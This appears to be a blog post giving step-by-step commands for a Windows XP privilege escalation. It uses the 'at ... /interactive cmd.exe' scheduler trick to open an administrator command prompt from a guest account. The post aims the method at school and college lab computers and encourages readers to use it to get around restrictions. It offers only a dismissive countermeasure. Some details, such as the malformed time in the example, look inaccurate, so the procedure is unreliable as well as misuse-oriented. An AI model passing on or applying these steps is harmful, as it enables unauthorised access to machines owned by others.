Get Administrator Privileges From Guest Account

(Works only on Windows XP)
Most of you may have alreadyseen a student of your college or school performing this hack on lab computer. Students generally don’t have Administration privileges on lab computers to copy or install applications where they use this hack to gain some real stuff done on PC.
Vulnerability:
Windows command line task scheduler supports interactive mode which works somewhat same as sudo -i or su -i command in Linux/UNIX the only problem is that it does not ask you for password. This vulnerability is patched up in further versions of Windows than XP and works fine even in XP-3.
Procedure:
Open command prompt and type
C:\>time
and note the time, time will be presented in 24 hour clock format. Note this time.
Now open “Task Manager” by typing
C:\>taskmgr
now from processes and end explorer.exe .
Now type,
C:\>at [(time displayed in 24 hour clock format)+2 minutes] /interactive cmd.exe
for example
C:\>time
The current time is: 0:27:11.68
Enter the new time:
C:\>taskmgr
C:\>at 0:29:00:00 /interactive cmd.exe
Now type C:\>exit
and wait for two minutes. After two minutes command prompt will open in interactive mode with all administrative privileges without asking you for password. Now run any command from it it’ll run with full administrative privileges so that you can even install programs and applications in system. So type “explorer.exe” in cmd and use system with administrative privilege even when you are in guest account.
Countermeasure: Disable command prompt for guest account.
By the way no college can ever disable command prompt because practicals are done over it, so guys get your stance and enjoy freedom.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s